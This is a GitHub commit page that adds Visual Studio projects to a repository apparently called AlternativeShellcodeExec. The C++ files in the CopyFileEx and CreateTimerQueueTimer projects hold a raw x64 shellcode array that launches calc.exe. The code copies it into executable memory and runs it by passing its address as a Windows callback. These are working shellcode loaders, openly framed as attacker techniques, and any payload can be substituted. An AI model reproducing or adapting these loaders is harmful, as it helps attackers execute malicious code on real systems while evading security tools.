Skip to content

Commit c7622e8

Browse files
committed
I am Ali, and I delete TTPs thinking they're faulty without checking if the shellcode I was using was the problem.
1 parent 964a6cf commit c7622e8

22 files changed

Lines changed: 1579 additions & 0 deletions

‎AlternativeShellcodeExec.sln‎

Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,18 @@ VisualStudioVersion = 16.0.30907.101
55
MinimumVisualStudioVersion = 10.0.40219.1
66
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CreateThreadPoolWait", "CreateThreadPoolWait\CreateThreadPoolWait.vcxproj", "{7C60D205-1563-4BEC-BB27-1D7C3B58A08F}"
77
EndProject
8+
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CreateTimerQueueTimer_Tech", "CreateTimerQueueTimer_Tech\CreateTimerQueueTimer_Tech.vcxproj", "{7D1E2EC5-FB57-4148-A6EB-59EEECE4A660}"
9+
EndProject
10+
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumDesktopW", "EnumDesktopW\EnumDesktopW.vcxproj", "{CB1843DF-3D4F-4D8D-B3C8-70D1D722E2A9}"
11+
EndProject
12+
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumResourceTypesW", "EnumResourceTypesW\EnumResourceTypesW.vcxproj", "{CA6231C1-405A-482E-B59A-35ADCCC15DDD}"
13+
EndProject
14+
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CopyFileEx", "CopyFileEx\CopyFileEx.vcxproj", "{C8677CA2-23B4-4148-8298-75DC082DD05C}"
15+
EndProject
16+
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumWindows", "EnumWindows\EnumWindows.vcxproj", "{E767D317-98AA-4E0B-BE90-1C19844EFB1B}"
17+
EndProject
18+
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumChildWindows", "EnumChildWindows\EnumChildWindows.vcxproj", "{F7214DDD-57B1-46BA-A54A-876CC7CF7D5E}"
19+
EndProject
820
Global
921
GlobalSection(SolutionConfigurationPlatforms) = preSolution
1022
Debug|x64 = Debug|x64
@@ -21,6 +33,54 @@ Global
2133
{7C60D205-1563-4BEC-BB27-1D7C3B58A08F}.Release|x64.Build.0 = Release|x64
2234
{7C60D205-1563-4BEC-BB27-1D7C3B58A08F}.Release|x86.ActiveCfg = Release|Win32
2335
{7C60D205-1563-4BEC-BB27-1D7C3B58A08F}.Release|x86.Build.0 = Release|Win32
36+
{7D1E2EC5-FB57-4148-A6EB-59EEECE4A660}.Debug|x64.ActiveCfg = Debug|x64
37+
{7D1E2EC5-FB57-4148-A6EB-59EEECE4A660}.Debug|x64.Build.0 = Debug|x64
38+
{7D1E2EC5-FB57-4148-A6EB-59EEECE4A660}.Debug|x86.ActiveCfg = Debug|Win32
39+
{7D1E2EC5-FB57-4148-A6EB-59EEECE4A660}.Debug|x86.Build.0 = Debug|Win32
40+
{7D1E2EC5-FB57-4148-A6EB-59EEECE4A660}.Release|x64.ActiveCfg = Release|x64
41+
{7D1E2EC5-FB57-4148-A6EB-59EEECE4A660}.Release|x64.Build.0 = Release|x64
42+
{7D1E2EC5-FB57-4148-A6EB-59EEECE4A660}.Release|x86.ActiveCfg = Release|Win32
43+
{7D1E2EC5-FB57-4148-A6EB-59EEECE4A660}.Release|x86.Build.0 = Release|Win32
44+
{CB1843DF-3D4F-4D8D-B3C8-70D1D722E2A9}.Debug|x64.ActiveCfg = Debug|x64
45+
{CB1843DF-3D4F-4D8D-B3C8-70D1D722E2A9}.Debug|x64.Build.0 = Debug|x64
46+
{CB1843DF-3D4F-4D8D-B3C8-70D1D722E2A9}.Debug|x86.ActiveCfg = Debug|Win32
47+
{CB1843DF-3D4F-4D8D-B3C8-70D1D722E2A9}.Debug|x86.Build.0 = Debug|Win32
48+
{CB1843DF-3D4F-4D8D-B3C8-70D1D722E2A9}.Release|x64.ActiveCfg = Release|x64
49+
{CB1843DF-3D4F-4D8D-B3C8-70D1D722E2A9}.Release|x64.Build.0 = Release|x64
50+
{CB1843DF-3D4F-4D8D-B3C8-70D1D722E2A9}.Release|x86.ActiveCfg = Release|Win32
51+
{CB1843DF-3D4F-4D8D-B3C8-70D1D722E2A9}.Release|x86.Build.0 = Release|Win32
52+
{CA6231C1-405A-482E-B59A-35ADCCC15DDD}.Debug|x64.ActiveCfg = Debug|x64
53+
{CA6231C1-405A-482E-B59A-35ADCCC15DDD}.Debug|x64.Build.0 = Debug|x64
54+
{CA6231C1-405A-482E-B59A-35ADCCC15DDD}.Debug|x86.ActiveCfg = Debug|Win32
55+
{CA6231C1-405A-482E-B59A-35ADCCC15DDD}.Debug|x86.Build.0 = Debug|Win32
56+
{CA6231C1-405A-482E-B59A-35ADCCC15DDD}.Release|x64.ActiveCfg = Release|x64
57+
{CA6231C1-405A-482E-B59A-35ADCCC15DDD}.Release|x64.Build.0 = Release|x64
58+
{CA6231C1-405A-482E-B59A-35ADCCC15DDD}.Release|x86.ActiveCfg = Release|Win32
59+
{CA6231C1-405A-482E-B59A-35ADCCC15DDD}.Release|x86.Build.0 = Release|Win32
60+
{C8677CA2-23B4-4148-8298-75DC082DD05C}.Debug|x64.ActiveCfg = Debug|x64
61+
{C8677CA2-23B4-4148-8298-75DC082DD05C}.Debug|x64.Build.0 = Debug|x64
62+
{C8677CA2-23B4-4148-8298-75DC082DD05C}.Debug|x86.ActiveCfg = Debug|Win32
63+
{C8677CA2-23B4-4148-8298-75DC082DD05C}.Debug|x86.Build.0 = Debug|Win32
64+
{C8677CA2-23B4-4148-8298-75DC082DD05C}.Release|x64.ActiveCfg = Release|x64
65+
{C8677CA2-23B4-4148-8298-75DC082DD05C}.Release|x64.Build.0 = Release|x64
66+
{C8677CA2-23B4-4148-8298-75DC082DD05C}.Release|x86.ActiveCfg = Release|Win32
67+
{C8677CA2-23B4-4148-8298-75DC082DD05C}.Release|x86.Build.0 = Release|Win32
68+
{E767D317-98AA-4E0B-BE90-1C19844EFB1B}.Debug|x64.ActiveCfg = Debug|x64
69+
{E767D317-98AA-4E0B-BE90-1C19844EFB1B}.Debug|x64.Build.0 = Debug|x64
70+
{E767D317-98AA-4E0B-BE90-1C19844EFB1B}.Debug|x86.ActiveCfg = Debug|Win32
71+
{E767D317-98AA-4E0B-BE90-1C19844EFB1B}.Debug|x86.Build.0 = Debug|Win32
72+
{E767D317-98AA-4E0B-BE90-1C19844EFB1B}.Release|x64.ActiveCfg = Release|x64
73+
{E767D317-98AA-4E0B-BE90-1C19844EFB1B}.Release|x64.Build.0 = Release|x64
74+
{E767D317-98AA-4E0B-BE90-1C19844EFB1B}.Release|x86.ActiveCfg = Release|Win32
75+
{E767D317-98AA-4E0B-BE90-1C19844EFB1B}.Release|x86.Build.0 = Release|Win32
76+
{F7214DDD-57B1-46BA-A54A-876CC7CF7D5E}.Debug|x64.ActiveCfg = Debug|x64
77+
{F7214DDD-57B1-46BA-A54A-876CC7CF7D5E}.Debug|x64.Build.0 = Debug|x64
78+
{F7214DDD-57B1-46BA-A54A-876CC7CF7D5E}.Debug|x86.ActiveCfg = Debug|Win32
79+
{F7214DDD-57B1-46BA-A54A-876CC7CF7D5E}.Debug|x86.Build.0 = Debug|Win32
80+
{F7214DDD-57B1-46BA-A54A-876CC7CF7D5E}.Release|x64.ActiveCfg = Release|x64
81+
{F7214DDD-57B1-46BA-A54A-876CC7CF7D5E}.Release|x64.Build.0 = Release|x64
82+
{F7214DDD-57B1-46BA-A54A-876CC7CF7D5E}.Release|x86.ActiveCfg = Release|Win32
83+
{F7214DDD-57B1-46BA-A54A-876CC7CF7D5E}.Release|x86.Build.0 = Release|Win32
2484
EndGlobalSection
2585
GlobalSection(SolutionProperties) = preSolution
2686
HideSolutionNode = FALSE

‎CopyFileEx/CopyFileEx.cpp‎

Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
#include <windows.h>
2+
#include <stdio.h>
3+
#include <dpa_dsa.h>
4+
5+
6+
int err(const char* errmsg) {
7+
8+
9+
printf("Error: %s (%u)\n", errmsg, ::GetLastError());
10+
return 1;
11+
12+
}
13+
14+
15+
// alfarom256 calc shellcode
16+
unsigned char op[] =
17+
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
18+
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
19+
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
20+
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
21+
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
22+
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
23+
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
24+
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
25+
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
26+
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
27+
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
28+
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
29+
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
30+
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
31+
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
32+
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
33+
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
34+
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
35+
"\x63\x2e\x65\x78\x65\x00";
36+
37+
38+
39+
int main() {
40+
41+
42+
LPVOID addr = ::VirtualAlloc(NULL, sizeof(op), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
43+
::RtlMoveMemory(addr, op, sizeof(op));
44+
45+
::DeleteFileW(L"C:\\Windows\\Temp\\backup.log");
46+
::CopyFileExW(L"C:\\Windows\\DirectX.log", L"C:\\Windows\\Temp\\backup.log", (LPPROGRESS_ROUTINE)addr, NULL, FALSE, COPY_FILE_FAIL_IF_EXISTS);
47+
48+
}

‎CopyFileEx/CopyFileEx.vcxproj‎

Lines changed: 147 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,147 @@
1+
<?xml version="1.0" encoding="utf-8"?>
2+
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3+
<ItemGroup Label="ProjectConfigurations">
4+
<ProjectConfiguration Include="Debug|Win32">
5+
<Configuration>Debug</Configuration>
6+
<Platform>Win32</Platform>
7+
</ProjectConfiguration>
8+
<ProjectConfiguration Include="Release|Win32">
9+
<Configuration>Release</Configuration>
10+
<Platform>Win32</Platform>
11+
</ProjectConfiguration>
12+
<ProjectConfiguration Include="Debug|x64">
13+
<Configuration>Debug</Configuration>
14+
<Platform>x64</Platform>
15+
</ProjectConfiguration>
16+
<ProjectConfiguration Include="Release|x64">
17+
<Configuration>Release</Configuration>
18+
<Platform>x64</Platform>
19+
</ProjectConfiguration>
20+
</ItemGroup>
21+
<PropertyGroup Label="Globals">
22+
<VCProjectVersion>16.0</VCProjectVersion>
23+
<Keyword>Win32Proj</Keyword>
24+
<ProjectGuid>{c8677ca2-23b4-4148-8298-75dc082dd05c}</ProjectGuid>
25+
<RootNamespace>CopyFileEx</RootNamespace>
26+
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
27+
</PropertyGroup>
28+
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
29+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
30+
<ConfigurationType>Application</ConfigurationType>
31+
<UseDebugLibraries>true</UseDebugLibraries>
32+
<PlatformToolset>v142</PlatformToolset>
33+
<CharacterSet>Unicode</CharacterSet>
34+
</PropertyGroup>
35+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
36+
<ConfigurationType>Application</ConfigurationType>
37+
<UseDebugLibraries>false</UseDebugLibraries>
38+
<PlatformToolset>v142</PlatformToolset>
39+
<WholeProgramOptimization>true</WholeProgramOptimization>
40+
<CharacterSet>Unicode</CharacterSet>
41+
</PropertyGroup>
42+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
43+
<ConfigurationType>Application</ConfigurationType>
44+
<UseDebugLibraries>true</UseDebugLibraries>
45+
<PlatformToolset>v142</PlatformToolset>
46+
<CharacterSet>Unicode</CharacterSet>
47+
</PropertyGroup>
48+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
49+
<ConfigurationType>Application</ConfigurationType>
50+
<UseDebugLibraries>false</UseDebugLibraries>
51+
<PlatformToolset>v142</PlatformToolset>
52+
<WholeProgramOptimization>true</WholeProgramOptimization>
53+
<CharacterSet>Unicode</CharacterSet>
54+
</PropertyGroup>
55+
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
56+
<ImportGroup Label="ExtensionSettings">
57+
</ImportGroup>
58+
<ImportGroup Label="Shared">
59+
</ImportGroup>
60+
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
61+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
62+
</ImportGroup>
63+
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
64+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
65+
</ImportGroup>
66+
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
67+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
68+
</ImportGroup>
69+
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
70+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
71+
</ImportGroup>
72+
<PropertyGroup Label="UserMacros" />
73+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
74+
<LinkIncremental>true</LinkIncremental>
75+
</PropertyGroup>
76+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
77+
<LinkIncremental>false</LinkIncremental>
78+
</PropertyGroup>
79+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
80+
<LinkIncremental>true</LinkIncremental>
81+
</PropertyGroup>
82+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
83+
<LinkIncremental>false</LinkIncremental>
84+
</PropertyGroup>
85+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
86+
<ClCompile>
87+
<WarningLevel>Level3</WarningLevel>
88+
<SDLCheck>true</SDLCheck>
89+
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
90+
<ConformanceMode>true</ConformanceMode>
91+
</ClCompile>
92+
<Link>
93+
<SubSystem>Console</SubSystem>
94+
<GenerateDebugInformation>true</GenerateDebugInformation>
95+
</Link>
96+
</ItemDefinitionGroup>
97+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
98+
<ClCompile>
99+
<WarningLevel>Level3</WarningLevel>
100+
<FunctionLevelLinking>true</FunctionLevelLinking>
101+
<IntrinsicFunctions>true</IntrinsicFunctions>
102+
<SDLCheck>true</SDLCheck>
103+
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
104+
<ConformanceMode>true</ConformanceMode>
105+
</ClCompile>
106+
<Link>
107+
<SubSystem>Console</SubSystem>
108+
<EnableCOMDATFolding>true</EnableCOMDATFolding>
109+
<OptimizeReferences>true</OptimizeReferences>
110+
<GenerateDebugInformation>true</GenerateDebugInformation>
111+
</Link>
112+
</ItemDefinitionGroup>
113+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
114+
<ClCompile>
115+
<WarningLevel>Level3</WarningLevel>
116+
<SDLCheck>true</SDLCheck>
117+
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
118+
<ConformanceMode>true</ConformanceMode>
119+
</ClCompile>
120+
<Link>
121+
<SubSystem>Console</SubSystem>
122+
<GenerateDebugInformation>true</GenerateDebugInformation>
123+
</Link>
124+
</ItemDefinitionGroup>
125+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
126+
<ClCompile>
127+
<WarningLevel>Level3</WarningLevel>
128+
<FunctionLevelLinking>true</FunctionLevelLinking>
129+
<IntrinsicFunctions>true</IntrinsicFunctions>
130+
<SDLCheck>true</SDLCheck>
131+
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
132+
<ConformanceMode>true</ConformanceMode>
133+
</ClCompile>
134+
<Link>
135+
<SubSystem>Console</SubSystem>
136+
<EnableCOMDATFolding>true</EnableCOMDATFolding>
137+
<OptimizeReferences>true</OptimizeReferences>
138+
<GenerateDebugInformation>true</GenerateDebugInformation>
139+
</Link>
140+
</ItemDefinitionGroup>
141+
<ItemGroup>
142+
<ClCompile Include="CopyFileEx.cpp" />
143+
</ItemGroup>
144+
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
145+
<ImportGroup Label="ExtensionTargets">
146+
</ImportGroup>
147+
</Project>
Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
<?xml version="1.0" encoding="utf-8"?>
2+
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3+
<ItemGroup>
4+
<Filter Include="Source Files">
5+
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
6+
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
7+
</Filter>
8+
<Filter Include="Header Files">
9+
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
10+
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
11+
</Filter>
12+
<Filter Include="Resource Files">
13+
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
14+
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
15+
</Filter>
16+
</ItemGroup>
17+
<ItemGroup>
18+
<ClCompile Include="CopyFileEx.cpp">
19+
<Filter>Source Files</Filter>
20+
</ClCompile>
21+
</ItemGroup>
22+
</Project>
Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
#include <windows.h>
2+
#include <stdio.h>
3+
4+
5+
// alfarom256 calc shellcode
6+
unsigned char op[] =
7+
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
8+
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
9+
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
10+
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
11+
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
12+
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
13+
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
14+
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
15+
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
16+
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
17+
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
18+
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
19+
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
20+
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
21+
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
22+
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
23+
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
24+
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
25+
"\x63\x2e\x65\x78\x65\x00";
26+
27+
28+
29+
int main() {
30+
31+
32+
LPVOID addr = ::VirtualAlloc(NULL, sizeof(op), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
33+
::RtlMoveMemory(addr, op, sizeof(op));
34+
35+
36+
37+
HANDLE timer;
38+
HANDLE queue = ::CreateTimerQueue();
39+
HANDLE gDoneEvent = ::CreateEvent(NULL, TRUE, FALSE, NULL);
40+
if (!::CreateTimerQueueTimer(&timer, queue, (WAITORTIMERCALLBACK)addr, NULL, 100, 0, 0)) {
41+
42+
printf("Fail");
43+
}
44+
45+
if (::WaitForSingleObject(gDoneEvent, INFINITE) != WAIT_OBJECT_0)
46+
printf("WaitForSingleObject failed (%d)\n", GetLastError());
47+
}

0 commit comments

Comments
 (0)